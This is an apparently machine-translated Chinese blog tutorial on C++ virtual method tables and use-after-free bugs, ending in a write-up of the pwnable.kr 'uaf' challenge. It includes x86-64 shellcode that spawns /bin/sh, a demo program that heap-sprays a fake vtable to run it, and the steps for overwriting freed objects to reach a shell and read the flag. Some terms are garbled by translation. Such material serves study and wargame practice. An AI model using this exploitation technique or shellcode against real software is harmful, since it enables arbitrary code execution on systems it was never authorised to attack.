在本文中,我们将考虑什么是UAF,并从
pwnable.kr网站解决第16个任务。
组织信息特别是对于那些想要学习新知识并在信息和计算机安全性的任何领域中发展的人们,我将撰写和讨论以下类别:
- PWN;
- 密码学(加密);
- 网络技术(网络);
- 反向(反向工程);
- 隐写术(Stegano);
- 搜索和利用Web漏洞。
除此之外,我将分享我在计算机取证,恶意软件和固件分析,对无线网络和局域网的攻击,进行笔测试和编写漏洞利用程序方面的经验。
为了使您可以查找有关新文章,软件和其他信息的信息,我
在Telegram中创建了一个
频道,并创建了一个
小组来讨论 ICD领域中的
所有问题 。 另外,我会亲自考虑您的个人要求,问题,建议和建议,
并会回答所有人 。
提供所有信息仅出于教育目的。 对于由于使用本文档而获得的知识和方法对某人造成的任何损害,本文档的作者不承担任何责任。
继承和虚方法
虚函数-在面向对象的程序设计中,可以在后继类中重写的类函数。 因此,程序员不需要通过虚拟方法就知道使用该对象的确切类型:只需知道该对象属于声明该方法的类或该类的后代即可。
简而言之,假设我们定义了一个基类Animal,该基类具有虚函数。 因此,动物类可以有两个子类猫和狗。 虚拟函数Cat:sreak()将输出myau,而Dog:sreak将输出gav。 但是,如果相同的结构存储在内存中,程序如何理解应该调用哪个连带?
所有工作都由虚拟方法表(TVM)提供,或者由vtable确定。
每个类都有其自己的TVM,并且编译器添加其虚拟表指针(vptr-指向vtable的指针),作为该对象的第一个局部变量。 让我们来看看。
#include <stdio.h> class ANIMAL{ private: int var1 = 0x11111111; public: virtual void func1(){ printf("Class Animal - func1\n"); } virtual void func2(){ printf("Class Animal - func2\n"); } }; class CAT : public ANIMAL { public: virtual void func1(){ printf("Class Cat - func1\n"); } virtual void func2(){ printf("Class Cat - func2\n"); } }; int main(){ ANIMAL *p1 = new ANIMAL(); ANIMAL *p2 = new CAT(); ANIMAL *ptr; ptr = p1; ptr->func1(); ptr->func2(); ptr = dynamic_cast<CAT*>(p2); ptr->func1(); ptr->func2(); return 0; }
编译并运行以查看输出。
g++ ex.c -o ex.bin

现在,在IDA中的调试器下运行,并在调用第一个函数之前停止。 转到“ HEX-View”窗口,并将其与RAX寄存器同步。

在选定的片段中,当定义ANIMALS和CAT类型的变量时,我们将看到变量var1的值。 正如我们所说,这两个变量前面都有地址,它们是指向VMT的指针(0x559f9898fd90和0x559f9898fd70)。
让我们看看调用func1会发生什么:
- 首先,在RAX中,我们将使用ptr指针在对象上有一个地址。
- 在RAX中,进一步读取对象的第一个值-指向VMT的指针(指向其第一个元素)。
- 在RAX中,将读取VMT中的第一个值-指向相同虚拟方法的指针。
- 在RDX中,输入了指向对象的指针(通常是这样)。
- 进行虚拟方法调用。

调用func2时,会发生相同的事情,除了一个例外,不是从VMT读取第一个记录(RAX),而是第二个记录(RAX + 8)。 这是使用虚拟方法的机制。

无人机
该漏洞对于堆来说是典型的,因为堆栈旨在存储少量数据(局部变量)。 堆是动态内存,非常适合存储大量数据。 在这种情况下,可以在程序执行期间进行内存的分配和释放。 但是由于这个原因,有必要监视哪个内存被占用,哪个不被占用。 为此,您需要为分配的内存块提供服务标头。 它包含起始地址和指向该块第一个元素的指针。 而且,与堆栈不同的是,堆逐渐变小。
该漏洞的本质是释放内存后,程序可能会引用此区域。 因此,有悬挂的指针。 更改程序代码并进行验证。
int main(){ ANIMAL *p1 = new ANIMAL(); ANIMAL *p2 = new CAT(); ANIMAL *ptr; ptr = p1; ptr->func1(); ptr->func2(); ptr = dynamic_cast<CAT*>(p2); ptr->func1(); ptr->func2(); delete p2; ptr->func1(); return 0; }

让我们找到程序崩溃的地方。 与前面的示例类似,我在调用函数之前停止并且将Hex-View与RAX同步。 我们看到对象应该位于哪个对象上。 但是,当执行以下指令时,RAX寄存器中仍保留0,并且已经尝试取消引用0,程序崩溃。


因此,对于UAF的利用,有必要将shellcode传输到程序,然后通过挂起的指针(在VMT中)转到它的开头。 这是有可能的,因为当请求堆时,堆会分配一个较早释放的内存块,这样我们就可以模拟VMT,它将指向shellcode。 换句话说,VMT功能的地址先前位于的位置,shellcode地址现在将位于。 但是我们不能保证唯一选定对象的内存将与刚刚清除的区域重合,因此我们将在循环中创建多个此类对象。
让我们来看一个例子。 首先,以shellcode为例,
从这里开始 。
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
并补充我们的代码:
#include <stdio.h> #include <string.h> class ANIMAL{ private: int var1 = 0x11111111; public: virtual void func1(){ printf("Class Animal - func1\n"); } virtual void func2(){ printf("Class Animal - func2\n"); } }; class CAT : public ANIMAL { public: virtual void func1(){ printf("Class Cat - func1\n"); } virtual void func2(){ printf("Class Cat - func2\n"); } }; class EX_SHELL{ private: char n[8]; public: EX_SHELL(void* addr_in_VMT){ memcpy(n, &addr_in_VMT, sizeof(void*)); } }; char shellcode[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"; int main(){ ANIMAL *p1 = new ANIMAL(); ANIMAL *p2 = new CAT(); ANIMAL *ptr; ptr = p1; ptr->func1(); ptr->func2(); ptr = dynamic_cast<CAT*>(p2); ptr->func1(); ptr->func2(); delete p2; void* vmt[1]; vmt[0] = (void*) shellcode; for(int i=0; i<0x10000; i++) new EX_SHELL(vmt); ptr->func1(); return 0; }
编译并运行后,我们得到一个完整的shell。

无人机工作解决方案
我们单击uaf签名的图标,并被告知需要通过SSH与密码guest连接。

连接后,我们会看到相应的横幅。

让我们找出服务器上有哪些文件,以及我们拥有的权限。

让我们看一下源代码 #include <fcntl.h> #include <iostream> #include <cstring> #include <cstdlib> #include <unistd.h> using namespace std; class Human{ private: virtual void give_shell(){ system("/bin/sh"); } protected: int age; string name; public: virtual void introduce(){ cout << "My name is " << name << endl; cout << "I am " << age << " years old" << endl; } }; class Man: public Human{ public: Man(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a nice guy!" << endl; } }; class Woman: public Human{ public: Woman(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a cute girl!" << endl; } }; int main(int argc, char* argv[]){ Human* m = new Man("Jack", 25); Human* w = new Woman("Jill", 21); size_t len; char* data; unsigned int op; while(1){ cout << "1. use\n2. after\n3. free\n"; cin >> op; switch(op){ case 1: m->introduce(); w->introduce(); break; case 2: len = atoi(argv[1]); data = new char[len]; read(open(argv[2], O_RDONLY), data, len); cout << "your data is allocated" << endl; break; case 3: delete m; delete w; break; default: break; } } return 0; }
在程序的开始,我们有两个从Human类继承的类的对象。 它具有给我们外壳的功能。

接下来,我们被邀请介绍以下三种操作之一:
- 显示对象信息;
- 写入一堆被接受为程序参数的数据;
- 删除创建的对象。

由于此任务考虑了UAF漏洞,因此计划应如下:创建-删除-写入堆-接收信息。
我们完全控制的唯一步骤是写入堆。 但是在记录之前,我们需要知道VMT如何查找这些对象以及为我们提供外壳程序的函数的地址。 通过一个例子,我们了解了VMT的工作原理,指向地址的指针被一个接一个地存储,
func2 = * func1 + sizeof(* func1),func3 = * func1 + 2 * sizeof(* func2)等
由于VMT中的第一个函数将是Give_shell(),并且当调用Man :: Introduction()函数时,VMT的第二个地址将是输入的地址。 给定64位系统:* Introduction = * Give_shell +8。我们将对此进行确认:

main + 272行证明了我们的假设,因为相对于基址的地址增加了8。
设置一个断点并查看EAX的内容以确定基址。



我们找到了基本地址:0x0000000000401570。 因此,代替外壳,我们需要在堆中写入地址give_shell(),减少8,以便将其作为VMT的基础,而增加8,则程序为我们提供了一个外壳。

程序作为参数是它从文件中读取的字节数以及文件名。 覆盖数据还需要一点点,您需要分配一个释放块大小的内存块。 查找占用一个对象的块的大小。

因此,在创建对象之前,将保留0x18 = 24个字节。 也就是说,我们需要组成一个由24个字节组成的文件。

由于该程序释放了两个对象,因此我们将不得不两次写入数据。

我们得到外壳,读取标志,我们得到8分。

您可以通过
Telegram加入我们。 下次我们将处理对齐内存。